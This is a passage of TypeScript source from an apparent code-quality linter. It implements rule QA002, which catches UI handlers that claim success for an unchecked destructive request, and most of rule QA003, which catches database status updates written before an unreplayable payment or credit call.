refs.every((ref) => isEmptyElseOkCheck(ref));\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 4 — is the error path somebody else's job?\n * ------------------------------------------------------------------ */\n\n/** Is this fetch the body of a library callback that owns onError? */\nfunction inLibraryCallback(fetchPath: NodePath<CallExpression>): boolean {\n let p: NodePath | null = fetchPath.parentPath;\n while (p) {\n if (p.isObjectProperty()) {\n const key = p.node.key;\n if (key.type === \"Identifier\" && LIBRARY_CALLBACK_KEYS.has(key.name)) return true;\n if (key.type === \"StringLiteral\" && LIBRARY_CALLBACK_KEYS.has(key.value)) return true;\n }\n if (p.isCallExpression()) {\n const name = calleeName(p.node.callee);\n if (name === \"useSWRMutation\" || name === \"useMutation\") return true;\n }\n p = p.parentPath;\n }\n return false;\n}\n\n/**\n * Does the function hand the Response back instead of interpreting it?\n *\n * Both spellings count: the fetch sitting inside a `return`, and a later\n * `return res` / `return await res.json()` of the bound response. Either way\n * the decision is the caller's, and the caller is where the guard lives.\n */\nfunction returnsTheResponse(\n fetchPath: NodePath<CallExpression>,\n unit: FnInfo,\n unitSource: string,\n responseIdent: string | null,\n): boolean {\n let p: NodePath | null = fetchPath.parentPath;\n while (p && nodeStart(p.node) >= unit.start) {\n if (p.isReturnStatement()) return true;\n if (p.isArrowFunctionExpression() && p.node.body.type !== \"BlockStatement\") return true;\n if (p.isFunction()) break;\n p = p.parentPath;\n }\n if (responseIdent) {\n const re = new RegExp(`\\\\breturn\\\\s+(?:await\\\\s+)?${responseIdent}\\\\b`);\n if (re.test(unitSource)) return true;\n }\n return false;\n}\n\n/* ------------------------------------------------------------------ *\n * The rule.\n * ------------------------------------------------------------------ */\n\nexport const silentFailedWrite: QualityRule = {\n id: \"QA002\",\n title: \"A user action reports success it did not get\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This handler fires a destructive write, never looks at whether it succeeded, and then tells the user it worked — a success toast, an optimistic row removal, or a redirect. When the server rejects the request the user is left believing a key was revoked, a member removed or a session ended when none of it happened.\",\n fix: \"Check the response before you assert anything: `if (!res.ok) { toast.error(...); return; }`. Only then show the success state, remove the row, or navigate away.\",\n precisionNotes:\n \"Client files only, never route handlers or server actions. The fetch must be lexically inside a function reachable from an onClick/onSubmit/onChange handler (never module scope, useEffect, setInterval or a pagehide beacon), must not be a telemetry URL or carry keepalive, and must not sit in a transport wrapper or a react-query/SWR mutationFn where the caller owns the error path. The enclosing function must contain NO error path at all — no try/catch, .catch, throw, assert helper, toast.error/alert/setError, or read of body.error — except the empty-else shape (`if (!res.ok) return;` / `if (res.ok) {...}` with no alternate), which is the shipped defect. A success assertion must follow the fetch, no revalidation may follow it, and the URL, handler name or a destructive confirm() must carry real consequence (revoke/delete/api-key/session/billing); low-stakes writes are dropped rather than reported at a severity they do not deserve.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n // Clause 8 — shared gate first, then this rule's extra paths.\n if (file.excluded) continue;\n if (EXTRA_EXCLUDED_PATHS.some((re) => re.test(file.path))) continue;\n\n // Clause 1 — a client file with a user in front of it, and nothing else.\n if (!file.isClient) continue;\n if (file.isServer) continue;\n if (NEVER_CLIENT_PATH.test(file.path)) continue;\n if (/^\\s*[\"']use server[\"']/m.test(file.code)) continue;\n\n const parsed = file.parsed;\n if (!parsed) continue;\n\n const { reachable } = collectFunctions(file);\n if (reachable.size === 0) continue;\n const reachableByNode = new Map<BabelFunction, FnInfo>();\n for (const info of reachable.keys()) reachableByNode.set(info.path.node, info);\n\n const reportedUnits = new Set<number>();\n\n traverse(parsed.ast, {\n CallExpression(path) {\n if (!isFetchCallee(path.node.callee)) return;\n\n // Clause 2 — reachable from a user action, and not ambient.\n if (inAmbientContext(path)) return;\n const chain: FnInfo[] = [];\n for (\n let fn = path.getFunctionParent();\n fn !== null;\n fn = fn.getFunctionParent()\n ) {\n const info = reachableByNode.get(fn.node);\n if (info) chain.push(info);\n }\n if (chain.length === 0) return; // module scope, or an unreachable helper\n // The WIDEST reachable ancestor is the unit, not the nearest: a\n // `.then(res => ...)` callback's own body does not contain the\n // handler's try/catch, and judging the callback alone reports a\n // defect the enclosing function already handles.\n const unit = chain[chain.length - 1]!;\n if (reportedUnits.has(unit.start)) return;\n\n const call = path.node;\n const callSource = file.code.slice(nodeStart(call), nodeEnd(call));\n\n // Clause 3 — beacons opt out of having their answer read.\n if (/\\bkeepalive\\s*:\\s*true/.test(callSource)) return;\n const urlArg = call.arguments[0];\n if (urlArg && (urlArg.type === \"StringLiteral\" || urlArg.type === \"TemplateLiteral\")) {\n const urlSource = file.code.slice(nodeStart(urlArg), nodeEnd(urlArg));\n if (BEACON_URL.test(urlSource)) return;\n }\n\n // Clause 4 — the guard belongs to the caller or the library.\n if (inLibraryCallback(path)) return;\n const unitSource = file.code.slice(unit.start, unit.end);\n const binding = responseBinding(path);\n if (returnsTheResponse(path, unit, unitSource, binding.ident)) return;\n for (const candidate of chain) {\n if (candidate.exported && candidate.name && TRANSPORT_NAME.test(candidate.name)) return;\n }\n\n // Clause 5 — any error path anywhere in the enclosing function.\n if (path.findParent((p) => p.isTryStatement() && nodeStart(p.node) >= unit.start)) return;\n if (ERROR_PATH_SIGNALS.some((re) => re.test(unitSource))) return;\n // ...except the empty-else shape, which is the defect itself.\n const okShape = statusReferencesAreEmptyElse(unit, binding);\n if (okShape === false) return;\n\n // Clause 6 — a success assertion on the path after the write.\n const after = file.code.slice(nodeEnd(call), unit.end);\n if (!SUCCESS_ASSERTIONS.some((re) => re.test(after))) return;\n\n // Clause 7 — a revalidation would correct the lie on its own.\n if (REVALIDATION.test(after)) return;\n\n // Consequence gate — high severity has to be earned.\n const before = file.code.slice(unit.start, nodeStart(call));\n let destructiveConfirm = false;\n for (const m of before.matchAll(/\\bconfirm\\s*\\(/g)) {\n if (DESTRUCTIVE_CONFIRM.test(before.slice(m.index!, m.index! + 200))) {\n destructiveConfirm = true;\n break;\n }\n }\n // Only the handlers that actually reach THIS fetch lend it their stake.\n const handlerNames = [...(reachable.get(unit) ?? new Set<string>())].join(\" \");\n const consequenceText = `${callSource} ${unit.name ?? \"\"} ${handlerNames}`;\n if (!destructiveConfirm && !CONSEQUENCE.test(consequenceText)) return;\n\n reportedUnits.add(unit.start);\n hits.push({\n file: file.path,\n line: lineAt(file.content, nodeStart(call)),\n detail:\n okShape === true\n ? `${unit.name ? `\\`${unit.name}\\` ` : \"This handler \"}checks the response status and then does nothing with the failure — it falls through to the same success message, optimistic update or redirect it would show on a 200. The user is told a destructive change landed when it may not have.`\n : undefined,\n });\n },\n });\n }\n\n return hits;\n },\n};\n","import type { Node } from \"@babel/types\";\nimport type { QualityFile, QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA003 — a record is written before the payment it stands for.\n *\n * The originating defect: a referral handler SELECTed the referral row\n * `WHERE status = 'pending'`, UPDATEd it to `'converted'`, and only then\n * called `stripe.customers.createBalanceTransaction`. The Stripe call was\n * wrapped in a catch that logged. When it failed, the row said the referrer\n * had been paid, the referrer had not been paid, and nothing would ever look\n * at that row again — the next run's `WHERE status = 'pending'` no longer\n * matches it. The money is gone in the only direction that cannot be undone\n * by a retry: silently.\n *\n * The naive rule — \"a state write precedes a side effect\" — fires on every\n * write-then-notify handler in every codebase, which is most of them. What\n * ships instead is much narrower: AN ELIGIBILITY-CONSUMING STATUS TRANSITION\n * PRECEDES AN UNREPLAYABLE VALUE TRANSFER. Four clauses, each bought with a\n * false positive, and each naming the legitimate pattern it protects:\n *\n * effect allowlist Money and entitlement only. `await db.insert(users)`\n * then `sendWelcomeEmail()` is not this bug — a duplicate\n * or missing email is recoverable and usually visible.\n * Email, push, Slack/Discord, outbound webhooks,\n * analytics, `revalidatePath`, audit logs, search-index\n * and CRM syncs, and bare `fetch()` are all excluded ON\n * PURPOSE, and this is where the overwhelming bulk of the\n * volume dies. THIS RESTRICTION IS THE RULE; everything\n * below it is trim. Do not broaden it to recover\n * coverage.\n * consumes The write must move a row OUT of a pending-ish\n * eligibility predicate the same handler read it by. A plain INSERT\n * of the operation's subject — a user, a scan, an order —\n * does not qualify, because nothing was spent by writing\n * it. This is the clause that separates the referral\n * defect from every write-then-notify site in the corpus.\n * terminal catch A handler that rethrows, answers non-2xx, reverts the\n * column, or enqueues a retry (queue.add, inngest.send,\n * qstash, after(), waitUntil, an outbox INSERT) has a\n * recovery story. That is a design, not a defect.\n * visible retry An `idempotencyKey` on the effect, a transaction whose\n * catch rethrows, or ANY file in the repo that\n * re-selects the post-transition state with a staleness\n * predicate. That last one is cross-file, and it is the\n * main thing standing between this rule and the outbox\n * pattern — which is the correct implementation of\n * exactly this operation.\n *\n * Path exclusions, comment masking and test-file skipping come from the\n * shared context; this file re-implements none of them.\n */\n\n/* ------------------------------------------------------------------ *\n * Clause 1 — the effect allowlist.\n * ------------------------------------------------------------------ */\n\n/**\n * Billing-system mutations, keyed on the LAST TWO segments of the callee\n * chain so the receiver can be spelled `stripe`, `stripeClient`, `this.stripe`\n * or `getStripe()` — the corpus spells it all four ways.\n *\n * Normalised to lowercase with separators removed, so Chargebee's\n * `promotional_credit.add` and Stripe's `promotionalCredit.add` collapse to\n * one entry. Reads (`retrieve`, `list`) are absent deliberately: only calls\n * that move value are unreplayable.\n */\nconst BILLING_MEMBER_CALLS = new Set([\n // Stripe\n \"customers.createbalancetransaction\",\n \"refunds.create\",\n \"transfers.create\",\n \"payouts.create\",\n \"invoices.create\",\n \"invoiceitems.create\",\n \"subscriptions.update\",\n \"creditgrants.create\",\n \"paymentintents.capture\",\n // Chargebee (singular resource names)\n \"refund.create\",\n \"payout.create\",\n \"invoice.create\",\n \"invoice.refund\",\n \"subscription.update\",\n \"subscription.updateforitems\",\n \"transaction.refund\",\n \"transactions.refund\",\n \"promotionalcredit.add\",\n \"promotionalcredit.set\",\n \"creditnote.create\",\n \"creditnotes.create\",\n // Paddle — adjustments are its refund/credit primitive\n \"adjustments.create\",\n \"adjustment.create\",\n \"paymentintent.capture\",\n]);\n\n/**\n * The same effects reached as bare functions — how Lemon Squeezy's SDK is\n * shaped (`updateSubscription(id, …)`) and how most repos wrap their own\n * entitlement grant (`grantCredits(userId, 500)`).\n */\nconst BILLING_BARE_CALLS = new Set([\n \"createbalancetransaction\",\n \"createrefund\",\n \"issuerefund\",\n \"refundorder\",\n \"refundpayment\",\n \"createpayout\",\n \"sendpayout\",\n \"createtransfer\",\n \"updatesubscription\",\n \"createinvoiceitem\",\n \"capturepaymentintent\",\n \"creditgrant\",\n \"createcreditgrant\",\n \"grantcredits\",\n \"grantcredit\",\n \"addcredits\",\n \"awardcredits\",\n \"issuecredits\",\n \"issuecredit\",\n \"applycredit\",\n \"creditaccount\",\n \"credituser\",\n \"incrementcredits\",\n \"grantentitlement\",\n \"upgradeplan\",\n \"activatesubscription\",\n \"addbalance\",\n]);\n\n/**\n * A local grant of paid entitlement is the other half of clause 1: plenty of\n * apps never call a billing SDK and instead write `credits` straight into\n * their own table. Keyed on the COLUMN, because the table is named a hundred\n * ways and the column is named about twelve.\n */\nconst ENTITLEMENT_COLUMN =\n /^(?:credit|credits|creditbalance|creditsremaining|remainingcredits|balance|quota|quotaremaining|token|tokens|seat|seats|plan|plantier|tier|premium|ispro|proplan|entitlement|allowance|subscriptionstatus|subscriptiontier|scansremaining|minutes|usageallowance)$/;\n\n/** Tables whose very existence is a grant, for the INSERT form of the above. */\nconst ENTITLEMENT_TABLE =\n /^(?:credit|creditledger|creditledgerentry|creditgrant|creditentry|wallet|balance|entitlement|quota|tokengrant|usercredit|accountcredit|subscription|plan)$/;\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — eligibility vocabulary.\n * ------------------------------------------------------------------ */\n\n/**\n * \"This row has not been settled yet.\"\n *\n * Deliberately short. `new`, `open` and `active` are NOT here: they are the\n * resting state of half the rows in a normal schema, and including them turns\n * \"consumes eligibility\" back into \"writes a status\", which is the naive rule.\n */\nconst PENDING_VALUES = new Set([\n \"pending\",\n \"unprocessed\",\n \"queued\",\n \"awaiting\",\n \"unpaid\",\n \"unsent\",\n \"unclaimed\",\n \"uncredited\",\n \"notstarted\",\n \"false\",\n \"0\",\n \"null\",\n]);\n\n/* ------------------------------------------------------------------ *\n * Tiny AST walker.\n *\n * `visitCalls` gives the node but not its ancestors, and every clause here is\n * a question about position: which function encloses this call, which catch\n * covers it, is it inside a transaction callback. So the walk is done once,\n * recording spans, and every later question is answered by offset — which\n * also lets the regex-located entitlement writes (clause 1's local-grant half,\n * which has no single call node) be asked the same questions.\n * ------------------------------------------------------------------ */\n\ntype AnyNode = Node & Record<string, unknown>;\n\nconst WALK_SKIP_KEYS = new Set([\n \"loc\",\n \"leadingComments\",\n \"trailingComments\",\n \"innerComments\",\n \"comments\",\n \"tokens\",\n \"extra\",\n]);\n\nconst FUNCTION_TYPES = new Set([\n \"FunctionDeclaration\",\n \"FunctionExpression\",\n \"ArrowFunctionExpression\",\n \"ObjectMethod\",\n \"ClassMethod\",\n \"ClassPrivateMethod\",\n]);\n\ninterface Span {\n start: number;\n end: number;\n}\n\nfunction isNode(value: unknown): value is AnyNode {\n return (\n typeof value === \"object\" &&\n value !== null &&\n typeof (value as { type?: unknown }).type === \"string\"\n );\n}\n\nfunction spanOf(node: unknown): Span {\n const n = node as { start?: number | null; end?: number | null } | null;\n return { start: n?.start ?? 0, end: n?.end ?? 0 };\n}\n\nfunction walkAst(value: unknown, visit: (node: AnyNode) => void): void {\n if (Array.isArray(value)) {\n for (const item of value) walkAst(item, visit);\n return;\n }\n if (!isNode(value)) return;\n visit(value);\n for (const key of Object.keys(value)) {\n if (WALK_SKIP_KEYS.has(key)) continue;\n const child = (value as Record<string, unknown>)[key];\n if (child && typeof child === \"object\") walkAst(child, visit);\n }\n}\n\n/**\n * The dotted callee path, innermost last: `stripe.customers.create` →\n * [\"stripe\",\"customers\",\"create\"]. A call in the middle of the chain\n * (`getStripe().refunds.create`) is walked through, so the receiver being an\n * expression rather than a name costs nothing.\n */\nfunction calleeChain(callee: unknown): string[] {\n const parts: string[] = [];\n let cur: unknown = callee;\n for (let guard = 0; guard < 12 && cur; guard++) {\n if (!isNode(cur)) break;\n const node = cur as AnyNode;\n if (node.type === \"Identifier\") {\n parts.unshift(String((node as { name?: unknown }).name ?? \"\"));\n break;\n }\n if (node.type === \"ThisExpression\") {\n parts.unshift(\"this\");\n break;\n }\n if (node.type === \"MemberExpression\" || node.type === \"OptionalMemberExpression\") {\n const prop = (node as { property?: unknown }).property;\n if (isNode(prop) && prop.type === \"Identifier\") {\n parts.unshift(String((prop as { name?: unknown }).name ?? \"\"));\n } else if (isNode(prop) && prop.type === \"StringLiteral\") {\n parts.unshift(String((prop as { value?: unknown }).value ?? \"\"));\n } else {\n parts.unshift(\"*\");\n }\n cur = (node as { object?: unknown }).object;\n continue;\n }\n if (\n node.type === \"CallExpression\" ||\n node.type === \"OptionalCallExpression\" ||\n node.type === \"TSNonNullExpression\" ||\n node.type === \"AwaitExpression\"\n ) {\n cur = (node as { callee?: unknown; expression?: unknown; argument?: unknown }).callee\n ?? (node as { expression?: unknown }).expression\n ?? (node as { argument?: unknown }).argument;\n continue;\n }\n break;\n }\n return parts;\n}\n\nfunction flatten(text: string): string {\n return text.toLowerCase().replace(/[^a-z0-9.]/g, \"\");\n}\n\n/** Everything the walk records, so every later question is an offset lookup. */\ninterface FileShape {\n functions: Span[];\n /** try { … } blocks paired with the span of their catch body. */\n tryCatches: { covered: Span; catchBody: Span }[];\n /** `p.catch(cb)` — the span `cb` covers, and the span of `cb` itself. */\n catchCalls: { covered: Span; catchBody: Span }[];\n /** Callback spans of `db.transaction(…)` / `prisma.$transaction(…)`. */\n transactions: Span[];\n /** Calls on the billing allowlist. */\n effects: { span: Span; label: string }[];\n}\n\nfunction shapeOf(file: QualityFile): FileShape | null {\n if (!file.parsed) return null;\n const shape: FileShape = {\n functions: [],\n tryCatches: [],\n catchCalls: [],\n transactions: [],\n effects: [],\n };\n\n walkAst(file.parsed.ast.program, (node) => {\n if (FUNCTION_TYPES.has(node.type)) {\n shape.functions.push(spanOf(node));\n return;\n }\n if (node.type === \"TryStatement\") {\n const handler = (node as { handler?: unknown }).handler;\n const block = (node as { block?: unknown }).block;\n if (isNode(handler) && isNode(block)) {\n const body = (handler as { body?: unknown }).body;\n // A try/finally with no catch does not swallow anything, so it is not\n // recorded — the error still leaves the handler.\n shape.tryCatches.push({ covered: spanOf(block), catchBody: spanOf(body ?? handler) });\n }\n return;\n }\n if (node.type !== \"CallExpression\" && node.type !== \"OptionalCallExpression\") return;\n\n const callee = (node as { callee?: unknown }).callee;\n const args = ((node as { arguments?: unknown }).arguments ?? []) as unknown[];\n const chain = calleeChain(callee);\n const last = flatten(chain[chain.length - 1] ?? \"\");\n const lastTwo = flatten(chain.slice(-2).join(\".\"));\n\n // `somePromise.catch(cb)` — clause 3 treats this as a catch block, or the\n // rule is evaded by one line.\n if (last === \"catch\" && isNode(callee)) {\n const target = (callee as { object?: unknown }).object;\n const cb = args[0];\n if (isNode(target) && isNode(cb)) {\n shape.catchCalls.push({ covered: spanOf(target), catchBody: spanOf(cb) });\n }\n return;\n }\n\n // Transaction callbacks, for clause 4.\n if (last === \"transaction\" || last === \"$transaction\" || last === \"transactionsql\") {\n for (const arg of args) {\n if (isNode(arg) && FUNCTION_TYPES.has(arg.type)) shape.transactions.push(spanOf(arg));\n }\n // fall through: a transaction call is never itself an effect\n return;\n }\n\n if (BILLING_MEMBER_CALLS.has(lastTwo) || BILLING_BARE_CALLS.has(last)) {\n shape.effects.push({ span: spanOf(node), label: chain.join(\".\") });\n }\n });\n\n return shape;\n}\n\n/** The OUTERMOST function containing `offset` — the handler, not the callback. */\nfunction handlerSpan(shape: FileShape, offset: number, fallback: Span): Span {\n let best: Span | null = null;\n for (const fn of shape.functions) {\n if (offset < fn.start || offset >= fn.end) continue;\n if (!best || fn.start < best.start) best = fn;\n }\n return best ?? fallback;\n}\n\n/** The INNERMOST catch covering `offset`, whether `try {}` or `.catch()`. */\nfunction catchCovering(shape: FileShape, offset: number): Span | null {\n let best: { covered: Span; catchBody: Span } | null = null;\n for (const entry of [...shape.tryCatches, ...shape.catchCalls]) {\n if (offset < entry.covered.start || offset >= entry.covered.end) continue;\n if (!best || entry.covered.start > best.covered.start) best = entry;\n }\n return best ? best.catchBody : null;\n}\n\nfunction insideTransaction(shape: FileShape, offset: number): boolean {\n return shape.transactions.some((t) => offset >= t.start && offset < t.end);\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — reads and writes, in the four dialects the corpus uses.\n *\n * Raw SQL, Drizzle, Prisma and Supabase. Restricting this to one ORM is how a\n * rule ends up with no surface to fire on; the market this targets writes\n * Supabase from an edge function far more often than it writes Prisma.\n * ------------------------------------------------------------------ */\n\ninterface Predicate {\n table: string;\n column: string;\n value: string;\n index: number;\n}\n\ninterface WriteRecord extends Predicate {\n /** Text following the write, scanned for a compare-and-set WHERE. */\n trailing: string;\n kind: \"update\" | \"insert\";\n}\n\nfunction normTable(raw: string): string {\n const last = raw.trim().replace(/[\"'`]/g, \"\").split(\".\").pop() ?? \"\";\n const flat = last.toLowerCase().replace(/[^a-z0-9]/g, \"\");\n return flat.endsWith(\"s\") ? flat.slice(0, -1) : flat;\n}\n\nfunction normColumn(raw: string): string {\n const last = raw.trim().replace(/[\"'`]/g, \"\").split(\".\").pop() ?? \"\";\n return last.toLowerCase().replace(/[^a-z0-9]/g, \"\");\n}\n\nfunction normValue(raw: string): string {\n return raw.trim().replace(/^[\"'`]|[\"'`]$/g, \"\").trim().toLowerCase();\n}\n\nfunction isPending(value: string): boolean {\n return PENDING_VALUES.has(normValue(value).replace(/[^a-z0-9]/g, \"\"));\n}\n\n/** Balanced `(` … `)` or `{` … `}` starting at `openIndex`, inner text only. */\nfunction balancedSlice(src: string, openIndex: number, open: string, close: string, cap = 900): string {\n if (src[openIndex] !== open) return \"\";\n let depth = 0;\n const limit = Math.min(src.length, openIndex + cap);\n for (let i = openIndex; i < limit; i++) {\n const ch = src[i];\n if (ch === open) depth++;\n else if (ch === close) {\n depth--;\n if (depth === 0) return src.slice(openIndex + 1, i);\n }\n }\n return src.slice(openIndex + 1, limit);\n}\n\n/** The object literal that follows `key:` — `where`, `data`, `set`. */\nfunction objectAfterKey(src: string, key: string): string {\n const m = new RegExp(`\\\\b${key}\\\\s*:\\\\s*\\\\{`).exec(src);\n if (!m) return \"\";\n return balancedSlice(src, m.index + m[0].length - 1, \"{\", \"}\");\n}\n\n/** Split on commas that are not inside brackets — reused for SET and data. */\nfunction splitTopLevel(body: string): string[] {\n const parts: string[] = [];\n let depth = 0;\n let current = \"\";\n for (const ch of body) {\n if (ch === \"{\" || ch === \"[\" || ch === \"(\") depth++;\n else if (ch === \"}\" || ch === \"]\" || ch === \")\") depth--;\n if (ch === \",\" && depth === 0) {\n parts.push(current);\n current = \"\";\n continue;\n }\n current += ch;\n }\n if (current.trim()) parts.push(current);\n return parts;\n}\n\n/** `col: value` / `col = value` pairs from an object body or a SQL SET list. */\nfunction assignments(body: string, separator: \":\" | \"=\"): { column: string; value: string }[] {\n const out: { column: string; value: string }[] = [];\n for (const part of splitTopLevel(body)) {\n const at = part.indexOf(separator);\n if (at === -1) continue;\n const column = part.slice(0, at).trim();\n const value = part.slice(at + 1).trim();\n if (!column || !/^[\"'`]?[\\w.$]+[\"'`]?$/.test(column)) continue;\n out.push({ column, value });\n }\n return out;\n}\n\n/** `col = 'pending'`, `col = 0`, `col IS NULL` — the SQL spelling. */\nfunction sqlPredicates(text: string): { column: string; value: string }[] {\n const out: { column: string; value: string }[] = [];\n const re = /([\\w.\"`]+)\\s*(?:=\\s*(?:(['\"`])([\\w-]+)\\2|(\\d+|true|false|null))|\\s+is\\s+(not\\s+)?null)/gi;\n for (const m of text.matchAll(re)) {\n let value: string;\n if (m[3] !== undefined) value = m[3];\n else if (m[4] !== undefined) value = m[4];\n else value = m[5] ? \"notnull\" : \"null\";\n out.push({ column: m[1], value });\n }\n return out;\n}\n\n/** `eq(t.status,'pending')`, `isNull(t.creditedAt)`, `.eq('status','pending')`, `.is('x',null)`. */\nfunction builderPredicates(text: string): { column: string; value: string }[] {\n const out: { column: string; value: string }[] = [];\n for (const m of text.matchAll(\n /\\beq\\(\\s*(?:[\\w$]+\\.)?([\\w$]+)\\s*,\\s*(?:(['\"`])([\\w-]+)\\2|(false|true|0|null))\\s*\\)/g,\n )) {\n out.push({ column: m[1], value: m[3] ?? m[4] ?? \"\" });\n }\n for (const m of text.matchAll(/\\bisNull\\(\\s*(?:[\\w$]+\\.)?([\\w$]+)\\s*\\)/g)) {\n out.push({ column: m[1], value: \"null\" });\n }\n for (const m of text.matchAll(\n /\\.eq\\(\\s*(['\"`])([\\w.]+)\\1\\s*,\\s*(?:(['\"`])([\\w-]+)\\3|(false|true|0|null))\\s*\\)/g,\n )) {\n out.push({ column: m[2], value: m[4] ?? m[5] ?? \"\" });\n }\n for (const m of text.matchAll(/\\.is\\(\\s*(['\"`])([\\w.]+)\\1\\s*,\\s*null\\s*\\)/gi)) {\n out.push({ column: m[2], value: \"null\" });\n }\n return out;\n}\n\n/** Object-literal predicates, as Prisma spells a `where`. */\nfunction objectPredicates(text: string): { column: string; value: string }[] {\n const out: { column: string; value: string }[] = [];\n for (const { column, value } of assignments(text, \":\")) {\n if (/^[[{]/.test(value)) continue;\n out.push({ column, value });\n }\n return out;\n}\n\n/**\n * Reads whose predicate says \"not settled yet\".\n *\n * A read without such a predicate is not eligibility — fetching a user by id\n * and then charging them is an ordinary purchase, not a consumed grant.\n */\nfunction collectPendingReads(src: string): Predicate[] {\n const out: Predicate[] = [];\n const push = (table: string, index: number, preds: { column: string; value: string }[]) => {\n for (const p of preds) {\n if (!isPending(p.value)) continue;\n out.push({ table, column: p.column, value: p.value, index });\n }\n };\n\n // Raw SQL.\n for (const m of src.matchAll(/\\bselect\\b[\\s\\S]{0,400}?\\bfrom\\s+[\"'`]?([\\w.]+)[\"'`]?/gi)) {\n const at = (m.index ?? 0) + m[0].length;\n push(m[1], m.index ?? 0, sqlPredicates(src.slice(at, at + 300)));\n }\n\n // Drizzle `db.select().from(tbl)` and Supabase `from('tbl').select()`.\n for (const m of src.matchAll(/\\.from\\(\\s*(['\"`]?)([\\w$]+)\\1\\s*\\)/g)) {\n const idx = m.index ?? 0;\n const before = src.slice(Math.max(0, idx - 160), idx);\n const after = src.slice(idx + m[0].length, idx + m[0].length + 400);\n // Must be a read: `.update(tbl)` / `.delete(tbl)` chains have no `.from(`,\n // but a Supabase `.from('t').update(…)` does, and is not eligibility.\n const isRead = /\\bselect\\s*\\(/i.test(before) || /^[\\s\\S]{0,120}?\\.select\\s*\\(/.test(after);\n if (!isRead) continue;\n push(m[2], idx, builderPredicates(after));\n }\n\n // Prisma `x.model.findFirst({ where: … })`, and Drizzle's relational\n // `db.query.model.findFirst({ where: eq(…) })` — same shape, both dialects\n // of predicate scanned.\n for (const m of src.matchAll(\n /\\.\\s*([\\w$]+)\\s*\\.\\s*(?:findFirst|findUnique|findMany|findFirstOrThrow|findUniqueOrThrow)\\s*\\(/g,\n )) {\n const idx = m.index ?? 0;\n const args = balancedSlice(src, idx + m[0].length - 1, \"(\", \")\");\n const where = objectAfterKey(args, \"where\");\n push(m[1], idx, objectPredicates(where));\n push(m[1], idx, builderPredicates(args));\n }\n\n return out;\n}\n\n/** Writes, with the text that follows them so a compare-and-set is visible. */\nfunction collectWrites(src: string): WriteRecord[] {\n const out: WriteRecord[] = [];\n const push = (\n table: string,\n index: number,\n end: number,\n kind: WriteRecord[\"kind\"],\n pairs: { column: string; value: string }[],\n ) => {\n const trailing = src.slice(end, end + 300);\n for (const p of pairs) {\n out.push({ table, column: p.column, value: p.value, index, trailing, kind });\n }\n };\n\n // Raw SQL UPDATE … SET … [WHERE …]\n for (const m of src.matchAll(/\\bupdate\\s+[\"'`]?([\\w.]+)[\"'`]?\\s+set\\s+([\\s\\S]{0,300}?)(?=\\bwhere\\b|;|`|\\)|$)/gi)) {\n const idx = m.index ?? 0;\n push(m[1], idx, idx + m[0].length, \"update\", assignments(m[2], \"=\"));\n }\n // Raw SQL INSERT INTO t (cols)\n for (const m of src.matchAll(/\\binsert\\s+into\\s+[\"'`]?([\\w.]+)[\"'`]?\\s*\\(([\\s\\S]{0,200}?)\\)/gi)) {\n const idx = m.index ?? 0;\n const cols = m[2].split(\",\").map((c) => ({ column: c.trim(), value: \"\" }));\n push(m[1], idx, idx + m[0].length, \"insert\", cols);\n }\n\n // Drizzle `.update(tbl).set({ … })` and `.insert(tbl).values({ … })`.\n for (const m of src.matchAll(/\\.update\\(\\s*([\\w$]+)\\s*\\)[\\s\\S]{0,80}?\\.set\\(\\s*\\{/g)) {\n const idx = m.index ?? 0;\n const open = idx + m[0].length - 1;\n const body = balancedSlice(src, open, \"{\", \"}\");\n push(m[1], idx, open + body.length + 2, \"update\", assignments(body, \":\"));\n }\n for (const m of src.matchAll(/\\.insert\\(\\s*([\\w$]+)\\s*\\)[\\s\\S]{0,80}?\\.values\\(\\s*\\{/g)) {\n const idx = m.index ?? 0;\n const open = idx + m[0].length - 1;\n const body = balancedSlice(src, open, \"{\", \"}\");\n push(m[1], idx, open + body.length + 2, \"insert\", assignments(body, \":\"));\n }\n\n // Supabase `.from('t').update({ … })` / `.insert({ … })` / `.upsert({ … })`.\n for (const m of src.matchAll(/\\.from\\(\\s*(['\"`])([\\w]+)\\1\\s*\\)[\\s\\S]{0,80}?\\.(update|insert|upsert)\\(\\s*\\{/g)) {\n const idx = m.index ?? 0;\n const open = idx + m[0].length - 1;\n const body = balancedSlice(src, open, \"{\", \"}\");\n push(\n m[2],\n idx,\n open + body.length + 2,\n m[3] === \"insert\" ? \"insert\" : \"update\",\n assignments(body, \":\"),\n );\n }\n\n // Prisma `x.model.update({ data: { … } })` / `create` / `upsert`.\n for (const m of src.matchAll(/\\.\\s*([\\w$]+)\\s*\\.\\s*(update|updateMany|upsert|create)\\s*\\(/g)) {\n const idx = m.index ?? 0;\n const args = balancedSlice(src, idx + m[0].length - 1, \"(\", \")\");\n const data = objectAfterKey(args, \"data\") || objectAfterKey(args, \"update\");\n if (!data) continue;\n push(\n m[1],\n idx,\n idx + m[0].length + args.length,\n m[2] === \"create\" ? \"insert\" : \"update\",\n assignments(data, \":\"),\n );\n }\n\n return out;\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 3 — is the catch terminal?\n * ------------------------------------------------------------------ */\n\n/** Anything in a catch that hands the failure onward instead of eating it. */\nconst ENQUEUES =\n /\\b(?:queue\\s*\\.\\s*add|inngest\\s*\\.\\s*send|qstash|boss\\s*\\.\\s*send|after\\s*\\(|waitUntil\\s*\\(|\\.\\s*enqueue\\s*\\(|\\.\\s*publish\\s*\\(|\\.\\s*sendMessage\\s*\\(|outbox|dead[_-]?letter|deadLetter|retryQueue|scheduleRetry|schedule\\s*\\()/i;\n\n/** A non-2xx answer is a visible failure, whatever framework writes it. */\nconst NON_2XX =\n /\\bstatus\\s*:\\s*[45]\\d\\d|\\.\\s*status\\s*\\(\\s*[45]\\d\\d|\\bsendStatus\\s*\\(\\s*[45]\\d\\d|\\bHTTPException\\s*\\(\\s*[45]\\d\\d|new\\s+Response\\s*\\([^)]{0,200}?\\b[45]\\d\\d/;\n\n/* ------------------------------------------------------------------ *\n * Clause 4 — does anything in the repo re-select the transitioned state?\n * ------------------------------------------------------------------ */\n\n/**\n * A reconciler reads the rows it might have stranded — by the value they were\n * moved TO, with a predicate on how long ago. That is the outbox pattern, and\n * the outbox pattern is the correct implementation of this operation; a rule\n * that flags it is flagging the fix.\n 